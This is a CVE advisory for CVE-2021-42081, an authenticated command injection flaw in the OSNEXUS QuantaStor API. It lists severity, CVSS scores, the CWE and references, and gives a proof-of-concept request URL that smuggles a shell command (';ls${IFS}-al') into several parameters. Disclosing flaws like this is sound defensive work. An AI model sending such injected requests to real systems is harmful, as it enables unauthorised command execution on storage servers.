CVE-2021-42081
Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
- State
- Published
- Severity
- 9.1 Critical
- Published
- Jul 10, 2023
- Updated
- Sep 22, 2025
- Reserved
- Oct 7, 2021
Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Scores
| CVSS | Score | Vector | Source |
|---|---|---|---|
| 3.1 | 9.1 Critical | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H | DIVD |
Weaknesses
- CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Products
| Product | Versions |
|---|---|
QuantaStorOSNEXUS |
|
References
- https://www.wbsec.nl/osnexusthird-party-advisorytechnical-descriptionexploit
- https://csirt.divd.nl/DIVD-2021-00020/third-party-advisory
- https://www.osnexus.com/products/software-defined-storageproduct
- https://csirt.divd.nl/CVE-2021-42081third-party-advisorytechnical-descriptionexploit
- https://www.divd.nl/DIVD-2021-00020third-party-advisory
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